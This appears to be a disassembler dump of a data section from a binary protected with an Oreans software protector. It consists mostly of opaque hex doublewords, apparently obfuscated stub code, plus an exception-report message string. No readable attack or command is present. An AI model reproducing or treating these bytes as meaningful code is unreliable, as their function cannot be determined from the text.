		dd 0EA00E9BDh, 0B6006A05h, 0BA006AC1h, 5DCAC327h, 2AA995FFh
		dd 0B96605EAh, 0BD296A0Fh, 5EA1455h, 850FC085h,	23h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0DCC35343h, 0E8B9A8D5h
		dd 89004767h, 0ED284585h, 14E905h, 0D6C80000h, 6AE328D0h
		dd 9264FAEAh, 0AC85F146h, 0EBC85ADBh, 6AD749h, 6A97EE80h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1A04h
		dd 0C3564600h, 0B6579D3Bh, 661D3FB9h, 5E8DE981h, 11E9006Ah
		dd 59000000h, 0F8769D68h, 1150FE88h, 548BE7C0h,	6ECAB287h
		dd 6652006Ah, 6A59CA8Bh, 0C2D28000h, 2A23858Dh,	8D0F05EDh
		dd 2, 8950CF8Ah, 0EA2BB185h, 16AF805h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 16C35242h, 0DFACD4Bh, 0FFFB7E9h
		dd 681h, 0C1958B00h, 6A05EA13h,	16AF901h, 30D8589h, 0FF6805EAh
		dd 6A000F01h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 51ECC351h, 51A67F8Dh, 5FCBBF0Fh
		dd 15DDBD83h, 0F0005EAh, 1984h,	0E1958B00h, 8D05EA2Bh
		dd 0ED28A285h, 0E9950B05h, 0E905EA13h, 0Eh, 858DD58Ah
		dd 5ED2878h, 152D8531h,	6A5005EAh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 28C352h
		dd 3BBCA79Ah, 8950AE09h, 0EA2C69BDh, 45B5FF05h,	8B05ED28h
		dd 3195FFD1h, 6605ED28h, 8529C88Bh, 5EA0AC9h, 850FC085h
		dd 3Eh,	148F0F60h, 0E9000000h, 0Fh, 0D0209206h,	16BD2DB2h
		dd 2F8F6245h, 0E8B2A489h, 0Fh, 8C0BFE45h, 0ABD1406Dh, 6AA2567Bh
		dd 57198D93h, 0E9615F59h, 8Bh, 11F58D8Bh, 858905EAh, 5ED2849h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 4FC35343h
		dd 0AA95E9ABh, 0C78C25A4h, 5FD0B983h, 0B5FF0C04h, 5ED2849h
		dd 0C800Fh, 29600000h, 0EA08858Dh, 2BBF6605h, 95FF615Fh
		dd 5EA2C75h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	5BC35747h, 977028C7h, 0C63E0C98h, 29618D0Bh, 0C08505EAh
		dd 5850Fh, 81660000h, 6A1903C2h, 0AE910h, 25FA0000h, 6D3ED502h
		dd 0AFA788Ah, 15DDBD83h, 0F0005EAh, 3C84h, 0C8BF0F00h
		dd 1E958D33h, 858D05EAh, 5ED28A2h, 15B9958Bh, 2EE905EAh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 3588C355h, 0BF0F4B2Eh,	78858DFFh
		dd 8905ED28h, 0EA111195h, 0BF0F5005h, 45B5FFD2h, 6A05ED28h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0FD06C356h, 68B15A5Ah, 39DDBAA5h,	283D95FFh
		dd 6A05EDh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0DEB289C3h, 6983BF66h, 850FC085h,	13h, 0D1BD8B60h
		dd 0BE05EA20h, 43CDC81Fh, 0B5852961h, 8905EA24h, 0ED284985h
		dd 0C1958B05h, 6A05EA28h, 0B9BD8B00h, 6A05EA0Ch, 0DBD8900h
		dd 0F05EA2Dh, 688h, 0C5B50900h,	0FF05EA1Ch, 0ED2849B5h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0F7CAB5DAh, 0BE93D0Fh, 0C4000000h, 9B75B464h
		dd 5967D545h, 95FF2DB1h, 5ED2835h, 0EC1BD89h, 0FC5605EAh
		dd 0FC0855Fh, 685h, 0E1BD0300h,	0FF05EA1Bh, 0ED2849B5h
		dd 0AE905h, 1A5C0000h, 759E000Ch, 390474CDh, 2C7595FFh
		dd 0CA8105EAh, 51CCC97Eh, 850FC085h, 4,	0C753BA66h, 8166006Ah
		dd 68A8E1F1h, 80h, 73DF8166h, 29036ADFh, 0EA0AC1B5h, 0DF816605h
		dd 6A4C10h, 66F6BA66h, 8D89006Ah, 5EA06A1h, 68h, 0C8BF0FC0h
		dd 28C1B5FFh, 0BF0F05EDh, 195FFCBh, 2305EA25h, 0EA02B9BDh
		dd 0FFF88305h, 631850Fh, 14E80000h, 64000000h, 4857DF41h
		dd 69D2E82Fh, 0A3CB0D7Ch, 28520F86h, 31978CD5h,	0EA140995h
		dd 85FF5F05h, 5ED332Fh,	11E9h, 78596C00h, 908F9DA3h, 0B5082E20h
		dd 0D6160CF0h, 0BD83A226h, 5ED332Fh, 66840F02h,	81000004h
		dd 7E8068DAh, 9F858D19h, 6A005AF5h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 5277C351h
		dd 75664AE0h, 0E86325A5h, 11h, 0E77C3B61h, 1B66F87h, 0DD520290h
		dd 5AA3BF81h, 0FEB70F00h, 0E9D0FF5Fh, 14h, 0EDFA21Dh, 9563D742h
		dd 0F8EA206Ch, 9151A88Ch, 9BB0EB81h, 0EFF2858Dh, 0E180005Ah
		dd 6AD0FFFEh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 4CA1C352h, 0DD10AB98h,	29C08BC7h
		dd 0EA154D9Dh, 0D9BD8305h, 5EA13h, 0BD830975h, 5EA2EE5h
		dd 50197400h, 0B8C08B53h, 7D8h,	0D798589h, 9D8D05EAh, 5ECDDF5h
		dd 585BD3FFh, 2EE5BD83h, 740005EAh, 0B8535017h,	7D8h, 0D798589h
		dd 9D8D05EAh, 5ECDAE4h,	585BD3FFh, 6AD1BF0Fh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 0B38CC355h, 1555BD89h, 0C08B05EAh, 5E8h, 53FF100h, 95892CB9h
		dd 5EA07C9h, 6BD7815Ah,	6805A5C4h, 0F003Fh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 94C35545h, 39D8320Bh
		dd 0EAAA88BFh, 0ED8D2335h, 6A05EA12h, 24B96600h, 0BF006AE5h
		dd 0E401957h, 2AA995FFh, 0F98B05EAh, 0AE9h, 10B76400h
		dd 0E55C9E49h, 85D3A80Eh, 35952BC0h, 6605EA0Dh,	64B7C981h
		dd 28458589h, 6A05EDh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 180424h, 56460000h, 2ADE16C3h, 0E9812360h, 258CB673h
		dd 0F01FF68h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8D8B65FDh, 5EA112Dh, 15DDBD83h, 0F0005EAh
		dd 5C84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 89465A91h, 0FDBD8B1Dh, 8B05EA2Eh
		dd 0EA23B195h, 0A2858D05h, 8905ED28h, 0EA1C3195h, 39B58905h
		dd 0E905EA2Ah, 20h, 2E3D950Bh, 7E805EAh, 4D000000h, 0C86E588Ah
		dd 958B523Fh, 5EA1C1Dh,	78858D5Fh, 0F905ED28h, 5E950h
		dd 0C7840000h, 51630C4Bh, 29EC8A60h, 0EA24918Dh, 0FF5F6105h
		dd 0ED2845B5h, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0B98F1C90h, 29682F6h
		dd 283D95FFh, 0B70F05EDh, 498589FAh, 5605ED28h,	1A11B966h
		dd 0C7F58A5Fh, 0EA2D0985h, 5, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0CC99D13Eh
		dd 0BE3F0482h, 840F6166h, 6, 17F58D8Bh,	0BD8305EAh
		dd 5ED2849h, 73840F00h,	6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B0AC357h
		dd 0EA2C7195h, 27858D05h, 0E905ED2Bh, 10h, 0F48E5BEFh
		dd 49FA819Eh, 2BF933A0h, 563520DDh, 68A0F50h, 0F000000h
		dd 8Bh,	0E8016A00h, 0Ch, 5C5E0EC3h, 0FE8CE6A5h,	66FFF68Ch
		dd 0FA7D79BAh, 0B5FF5928h, 5ED2849h, 0FFCFB70Fh, 0ED284195h
		dd 56006A05h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0A8904721h, 4201F8F5h, 10E8h, 35E02300h
		dd 83FE8D16h, 7E37B9FEh, 0F6E2AD37h, 219D0945h,	5A05EA02h
		dd 2849B5FFh, 0BD8905EDh, 5EA2C29h, 2C7595FFh, 0AE905EAh
		dd 0F7000000h, 0E7E39300h, 0B67081F4h, 1FF68DCh, 83FC000Fh
		dd 0EA15DDBDh, 840F0005h, 1Bh, 5EE0BA66h, 28A2858Dh, 0E78105EDh
		dd 32AAE920h, 12E9h, 4D952B00h,	8D05EA1Eh, 0ED287885h
		dd 99958B05h, 5005EA1Eh, 0B5FFF98Bh, 5ED2845h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 81C35545h, 0FAA270Fh
		dd 95FFC9B7h, 5ED283Dh,	858982B5h, 5ED2849h, 31F18D0Bh
		dd 0B5FF05EAh, 5ED2849h, 95FFEB8Ah, 5ED2839h, 17059D89h
		dd 0B5FF05EAh, 5ED2849h, 2C7595FFh, 35705EAh, 0EA0841BDh
		dd 0A1E95A05h, 29FFFFF6h, 0EA15E195h, 92B5FF05h, 8B05ED33h
		dd 0EA148D95h, 1995FF05h, 6A05EA2Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8BE0C352h
		dd 0EA2D51BDh, 0EE805h,	0D4F70000h, 328A9F2Dh, 0A30EAEC1h
		dd 8ECAD25Bh, 1DC98531h, 8B5F05EAh, 0EA06A985h,	0E9958B05h
		dd 0E905EA2Ah, 5FCh, 0B272F281h, 0B58D61BAh, 5ED2B47h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2EC35646h
		dd 4B954091h, 0F8B70F3Ah, 858DD68Bh, 5ECD7DFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 53C35646h, 5031A3Dh
		dd 60B935A5h, 61D08BF5h, 6AD0FFh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0B4C2F7C3h, 0FE242DBh
		dd 882h, 8D8B6000h, 5EA1109h, 66006A61h, 0AB31F281h, 0FFABDA80h
		dd 0EA2E7D95h, 5E905h, 5A80000h, 66DEF8FCh, 4A71F281h
		dd 858DF38Bh, 5ECD7DFh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 63C35747h, 0BB864767h, 80C3B808h, 0D0FF8FCDh
		dd 5860Fh, 81660000h, 0E9929DDFh, 14h, 0AC8C1C9Fh, 1C5352B0h
		dd 24A1B4E0h, 66BBC41Bh, 109FD304h, 0E860006Ah,	0Ah, 28C46ADDh
		dd 7A437267h, 8B662AF4h, 0FF6159F1h, 0EA2E7D95h, 8BFA8B05h
		dd 418D8BC0h, 8305EA1Dh, 0EA13D9BDh, 9750005h, 2EE5BD83h
		dd 740005EAh, 8B535019h, 7D9B8C0h, 85890000h, 5EA0D79h
		dd 0DDF59D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h
		dd 7D9B853h, 85890000h,	5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh
		dd 8D8B585Bh, 5EA31C1h,	2D618D8Bh, 8D8B05EAh, 5EA0BF9h
		dd 6AC08Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 255B1CC3h, 0B55F899h, 0E580679Dh,	6A500Fh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 958B9BC3h, 5EA0DC5h,	0B589D88Bh, 5EA1541h, 9D8D53F5h
		dd 5EA1A91h, 389038Bh, 8950438Bh, 9D8D5043h, 5ED332Bh
		dd 389038Bh, 6E95Bh, 0CF70000h,	0E325256Fh, 83F28166h
		dd 6AF897h, 2F298589h, 858D05EAh, 5ED332Bh, 50FBB70Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 18C35141h
		dd 0CEB84DA8h, 8BA54313h, 0EA18018Dh, 6A606A05h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 4425C356h, 24CAF063h, 91858D8Ah, 8905EA1Ah, 0EA2C69B5h
		dd 0A2B95005h, 6A6B37ABh, 918D8B00h, 0F05EA13h,	588h, 0A068BA00h
		dd 6A0956h, 870Fh, 680000h, 6A000018h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 8312C350h
		dd 0F2816632h, 0E9535105h, 5, 9D4704CAh, 195FF0Bh, 2905EA2Fh
		dd 0EA15D99Dh, 0D95FF05h, 6005EA23h, 0FF61F38Bh, 0ED3392B5h
		dd 606DB905h, 95FF0D8Fh, 5EA2A19h, 68F0Fh, 958B0000h, 5EA0089h
		dd 1A91858Dh, 896005EAh, 0EA29D585h, 72BA6605h,	408B61D0h
		dd 0D5BD8918h, 0C705EA2Ah, 0EA253985h, 5, 0DBD98000h, 679B589h
		dd 0BD8305EAh, 5EA15DDh, 33840F00h, 0B2000000h,	8C3DFC3Fh
		dd 0F000000h, 1B383h, 870F5600h, 12h, 0DE9h, 3E6F9F00h
		dd 0D27B6747h, 3F409BAAh, 0E95F3C9Ah, 19h, 2BA59589h, 963D05EAh
		dd 0F000000h, 18383h, 0D2BF0F00h, 0B1D98166h, 9F858D3Fh
		dd 89005AF5h, 0EA09899Dh, 0FD0FF05h, 38Dh, 0B8D58000h
		dd 0EFF2858Dh, 0F281005Ah, 29B63F32h, 0F53D0FFh, 0D87h
		dd 8E900h, 0DAC80000h, 0B8A45F76h, 8B5984DFh, 83CCB2C0h
		dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h
		dd 0BC6B8C0h, 85890000h, 5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh
		dd 0BD83585Bh, 5EA2EE5h, 50177400h, 0BC6B853h, 85890000h
		dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0BF66585Bh, 0D7817103h
		dd 599A133Ch, 1401B589h, 0C08B05EAh, 25319D89h,	0F88305EAh
		dd 6F850FFFh, 0E8000000h, 11h, 0E372C755h, 0B9CAB34h, 510C011Ah
		dd 3FF6CCADh, 9D2956B0h, 5EA25C1h, 85C75F59h, 5EA2E55h
		dd 0
		dd 29098D89h, 63E905EAh, 0F000001h, 128Ah, 0AE800h, 63390000h
		dd 0A287C417h, 0E44BFF71h, 0E85F6160h, 0Ch, 0BB73732Bh
		dd 15966F67h, 30BD330h,	0CE58D31h, 0E95905EAh, 48h, 131D8589h
		dd 0F88305EAh, 39850F01h, 0E9000000h, 8, 0BB35AF54h, 9B8C9911h
		dd 14BE9h, 1F8D0F00h, 0E8000000h, 14h, 8E1FE852h, 0B6B44FF0h
		dd 0DA5B6BA8h, 1AFAE887h, 37D3DCBAh, 56CA8166h,	0C88A5F0Eh
		dd 0FFF15FE9h, 13E9FFh,	0B45D0000h, 0BC24248Ch,	6F6B6C06h
		dd 79E519CAh, 0E01A88B4h, 0FA8B6682h, 6AC08Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 4864A8C3h, 81F08732h, 81AEB0C2h, 0E1BD2963h,	8305EA25h
		dd 0EA13D9BDh, 9750005h, 2EE5BD83h, 740005EAh, 8B535019h
		dd 7DDB8C0h, 85890000h,	5EA0D79h, 0DDF59D8Dh, 0D3FF05ECh
		dd 0BD83585Bh, 5EA2EE5h, 50177400h, 7DDB853h, 85890000h
		dd 5EA0D79h, 0DAE49D8Dh, 0D3FF05ECh, 0E680585Bh, 898D29BDh
		dd 0F505EA2Bh, 12E9C08Bh, 0EA000000h, 0E3ABF9B3h, 7577873Fh
		dd 0CBC1997Ch, 2D2F7387h, 2B7E958h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 570F31C3h
		dd 0AEFCF3F8h, 858D0523h, 5ED312Fh, 8589CA8Ah, 5ED3327h
		dd 11E8h, 5C823400h, 0DE07FE29h, 1E7549A9h, 274B6002h
		dd 8B604F16h, 0EA157195h, 91850305h, 6105EA31h,	5EE95Ah
		dd 0BD290000h, 5EA0F0Dh, 2F37858Dh, 6A05EDh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 8BE4D7C3h
		dd 40447A33h, 8FDB589h,	0EE805EAh, 6F000000h, 6934E978h
		dd 1BACC55Eh, 0E4E7D30Ch, 5DB5899Bh, 5A05EA1Dh,	33278589h
		dd 8B6005EDh, 0EA2065BDh, 61F88B05h, 858D346Ah,	5EA240Dh
		dd 27B5FF50h, 6A05ED33h, 0F995FF00h, 8305EA02h,	840F07F8h
		dd 162h, 0F6DB8C66h, 850F04C3h,	0FCh, 1A4585C6h, 685605EAh
		dd 9CA8B852h, 1D45B5FFh, 858D05EAh, 5EA3969h, 46AD0FFh
		dd 100068h, 6A646A00h, 89D0FF00h, 0ED339A85h, 4585C605h
		dd 4705EA1Ah, 18AC9B68h, 45B5FFECh, 8D05EA1Dh, 0EA396985h
		dd 0FFD0FF05h, 0C6F08BD0h, 0EA1A4585h, 61684F05h, 0FFC62F26h
		dd 0EA2B19B5h, 69858D05h, 0FF05EA39h, 969D8DD0h, 5305ED33h
		dd 0FF56286Ah, 75C085D0h, 4585C600h, 4105EA1Ah,	87649868h
		dd 19B5FFDBh, 8D05EA2Bh, 0EA396985h, 89D0FF05h,	0ED33B385h
		dd 4585C605h, 4C05EA1Ah, 0A4E7A468h, 19B5FF80h,	8D05EA2Bh
		dd 0EA396985h, 8BD0FF05h, 0ED339A9Dh, 45B8D05h,	9F9D8D53h
		dd 5305ED33h, 0D0FF006Ah, 339A9D8Bh, 3C705EDh, 1, 20C43C7h
		dd 0C7000000h, 0EA160D85h, 5, 6A006A00h, 8B006A00h, 0ED339A9Dh
		dd 6A5305h, 3396B5FFh, 95FF05EDh, 5ED33B3h, 1A4585C6h
		dd 684505EAh, 92A5F797h, 1C8DB5FFh, 858D05EAh, 5EA3969h
		dd 6AD0FFh, 0D0FF026Ah,	0F6DB8C66h, 327504C3h, 339A9D8Bh
		dd 43C705EDh, 0Ch, 6A006A00h, 9A9D8B00h, 5305ED33h, 0B5FF006Ah
		dd 5ED3396h, 33B395FFh,	0B5FF05EDh, 5ED3396h, 230D95FFh
		dd 6A05EAh, 2E7D95FFh, 8D3305EAh, 5EA2929h, 12E9h, 8749BB00h
		dd 29A74D11h, 2B94307h,	1108AAA1h, 6A5CD4E8h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 5545C355h, 0F1F2D456h, 0E960AC99h, 0Ah, 1384DC65h, 886214D1h
		dd 880FB5E8h, 6, 0DD53CA81h, 66616DB1h,	0FE981BFh, 0C8Fh
		dd 7E900h, 0F26E0000h, 0A9A9FEF3h, 0C8858D12h, 305ED67h
		dd 0EA2EB98Dh, 8D035005h, 5EA23B9h, 35FF64h, 57000000h
		dd 2E05BD8Bh, 645F05EAh, 2589h,	0BD890000h, 5EA0CE9h, 29F5BD83h
		dd 0F0005EAh, 3984h, 41958B00h,	8305EA2Ch, 0EA02D1BDh
		dd 850F0105h, 26h, 60F7DBFh, 219D8901h,	8005EA17h, 0ED37B3BDh
		dd 850F0005h, 0Eh, 34D2BF66h, 172E9h, 35E58000h, 0DB33EC8Ah
		dd 0D766D781h, 0B5892F83h, 5EA0FF9h, 6AC033h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 742219C3h
		dd 9109D443h, 4027EAA9h, 0B073F0Fh, 58F64h, 83000000h
		dd 81FC04C4h, 50C385F7h, 0FFFB8335h, 43840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0EADB1CC3h, 28421961h, 2B958589h, 0E2E905EAh, 0E9000000h
		dd 11h,	2D222859h, 82CF10ADh, 659382B5h, 0D077FC6Ah, 77E943h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 9708B0C3h, 0BF0F9660h, 244C8BD6h,	0A481C70Ch
		dd 0FF000000h, 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h
		dd 0E8550Ch, 5D000000h,	67EAED81h, 838B05EDh, 0B8h, 6876858Dh
		dd 838905EDh, 0B8h, 0C3C0335Dh,	329D9D09h, 0AE905EAh, 0D0000000h
		dd 77219BD1h, 0DAA33F5Fh, 0E0858D3Fh, 0F05ED67h, 8950FBBFh
		dd 0EA0A61B5h, 35FF6405h, 0
		dd 0E9950BF5h, 6405EA16h, 2589h, 0CA800000h, 0AB93Bh, 4B80000h
		dd 54855D7h, 0DF78164h,	85D465BBh, 0B640BA86h, 0EA810034h
		dd 345FE8h, 68FB81EDh, 75564D58h, 0BD85C70Ah, 105EA31h
		dd 64000000h, 58Fh, 0C4830000h,	85896004h, 5EA3171h, 4456F081h
		dd 6A615458h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 40CFC353h, 8BE8C2E3h, 0FC08BD1h
		dd 8Dh,	258D0B00h, 8305EA23h, 0EA13D9BDh, 9750005h, 2EE5BD83h
		dd 740005EAh, 8B535019h, 43DB8C0h, 85890000h, 5EA0769h
		dd 0DE5C9D8Dh, 0D3FF05ECh, 0BD83585Bh, 5EA2EE5h, 50177400h
		dd 43DB853h, 85890000h,	5EA0769h, 0DAFD9D8Dh, 0D3FF05ECh
		dd 44B9585Bh, 895E2503h, 0EA1675B5h, 0B5B58905h, 8B05EA2Eh
		dd 13AE9C0h, 40000h, 2E310000h,	353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dd 2F5DBD83h, 0F0005EAh, 12D84h, 14858D00h, 5005ECD9h
		dd 0D87E858Dh, 685005ECh, 80000001h, 0D92495FFh, 858D05ECh
		dd 5ED6921h, 2B858D50h,	5005ED69h, 6A006Ah, 0D892858Dh
		dd 0FF5005ECh, 0ECD914B5h, 0CD95FF05h, 8D05EA13h, 0ED692185h
		dd 858D5005h, 5ED692Fh,	6A006A50h, 0A4858D00h, 5005ECD8h
		dd 0D914B5FFh, 95FF05ECh, 5EA13CDh, 6921858Dh, 8D5005EDh
		dd 0ED693B85h, 6A5005h,	858D006Ah, 5ECD8F1h, 14B5FF50h
		dd 0FF05ECD9h, 0EA13CD95h, 21858D05h, 5005ED69h, 6943858Dh
		dd 6A5005EDh, 8D006A00h, 0ECD90F85h, 0B5FF5005h, 5ECD914h
		dd 13CD95FFh, 858D05EAh, 5ED6921h, 3F858D50h, 5005ED69h
		dd 6A006Ah, 0D8F8858Dh,	0FF5005ECh, 0ECD914B5h,	0CD95FF05h
		dd 8D05EA13h, 0ED692185h, 858D5005h, 5ED6933h, 6A006A50h
		dd 858D00h, 5005ECD9h, 0D914B5FFh, 95FF05ECh, 5EA13CDh
		dd 6921858Dh, 8D5005EDh, 0ED693785h, 6A5005h, 858D006Ah
		dd 5ECD907h, 14B5FF50h,	0FF05ECD9h, 0EA13CD95h,	14B5FF05h
		dd 0FF05ECD9h, 0EA305195h, 0A2E905h, 0BD830000h, 5EA0961h
		dd 95840F00h, 83000000h, 0EA02D1BDh, 850F0005h,	11h, 0F5958Bh
		dd 0C28105EAh, 1CF8h, 0FE9h, 91958D00h,	8B05EA1Ah, 0C2813452h
		dd 3BD4C340h, 2B859589h, 0BD8305EAh, 5EA2B85h, 55840F00h
		dd 8B000000h, 0EA2B859Dh, 4CC38305h, 8589038Bh,	5ED692Bh
		dd 2B859D8Bh, 0C38305EAh, 89038B50h, 0ED692F85h, 859D8B05h
		dd 8305EA2Bh, 38B54C3h,	693B8589h, 9D8B05EDh, 5EA2B85h
		dd 8B58C383h, 3F858903h, 8B05ED69h, 0EA2B859Dh,	5CC38305h
		dd 8589038Bh, 5ED6933h,	2F5DBD83h, 0F0005EAh, 0D85h, 61BD8300h
		dd 5EA09h, 68840Fh, 0B5FF0000h,	5ED6943h, 6937B5FFh, 0B5FF05EDh
		dd 5ED6933h, 693FB5FFh,	0B5FF05EDh, 5ED693Bh, 692FB5FFh
		dd 0B5FF05EDh, 5ED692Bh, 6925858Dh, 8D5005EDh, 0ED695D85h
		dd 858D5005h, 5EA20FDh,	6995FF50h, 8305EA0Ch, 406A24C4h
		dd 6947858Dh, 8D5005EDh, 0EA20FD85h, 6A5005h, 2F995FFh
		dd 16A05EAh, 2E7D95FFh,	0C18B05EAh, 0D7B70F60h,	0E680C08Bh
		dd 3830F04h, 0F000000h,	0BD83CEB7h, 5EA13D9h, 83097500h
		dd 0EA2EE5BDh, 19740005h, 0C08B5350h, 40EB8h, 79858900h
		dd 8D05EA0Dh, 0ECDDF59Dh, 5BD3FF05h, 0E5BD8358h, 5EA2Eh
		dd 53501774h, 40EB8h, 79858900h, 8D05EA0Dh, 0ECDAE49Dh
		dd 5BD3FF05h, 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 0F7B70F72h, 870FD78Bh, 2,	0BA66F18Bh
		dd 0C08B83B5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	4DC35040h, 6C08BFE0h, 0B9668425h, 8F0F4B22h, 5
		dd 0ABF54EBEh, 0F5BD831Ah, 5EA29h, 29840Fh, 0CCE90000h
		dd 6A000001h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 3BA5C352h, 816652F0h, 8C6073E6h
		dd 5870FDFh, 52000000h,	5AD1B70Fh, 4C7F766h, 90850F00h
		dd 56000001h, 0BF5AD38Bh, 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0F9C35242h
		dd 0D4749DC6h, 0DA813A88h, 3597BAFFh, 6F1C9D8Dh, 6A05EDh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 3CA572C3h, 32823AC6h, 1C8950C9h, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 76184398h
		dd 64D78B0Dh, 35FFh, 66570000h,	5948CFBEh, 0FE9h, 4E9C0000h
		dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 258964h, 57000000h
		dd 7E9h, 5CC5CE00h, 0F3F70EBAh,	6AC48B5Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0CD4C355h
		dd 0F5D08B3Ah, 0EB01CDh, 50D3BF0Fh, 58F645Eh, 0
		dd 8E9h, 4C216E00h, 65217918h, 4C48300h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 85C35343h, 0BA72804h
		dd 70840FC0h, 8B000000h, 0B70F61F3h, 62BD8DD2h,	0B805EA70h
		dd 1, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 16h
		dd 4BC35141h, 8166410Fh, 0FF4C03D6h, 5C8B57E7h,	838B1024h
		dd 0B8h, 140B60Fh, 8389C8FEh, 0B0h, 0B88383h, 5F020000h
		dd 0FC3C033h, 787h, 1860F00h, 0F5000000h, 3890F60h, 0F000000h
		dd 6161D2BFh, 7C12BA66h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 857797C3h, 0F4EFD92h
		dd 0F7B70F8Ah, 13D9BD83h, 750005EAh, 0E5BD8309h, 5EA2Eh
		dd 53501974h, 0EB8C08Bh, 89000004h, 0EA076985h,	5C9D8D05h
		dd 0FF05ECDEh, 83585BD3h, 0EA2EE5BDh, 17740005h, 0EB85350h
		dd 89000004h, 0EA076985h, 0FD9D8D05h, 0FF05ECDAh, 6A585BD3h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 8331C351h, 0FC23151Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 9AC35040h, 4A072A2Fh, 5CCD6D93h
		dd 8BCFBF0Fh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8BFCF4AAh, 1718EBC2h, 9B46F3h, 4 dup(0)
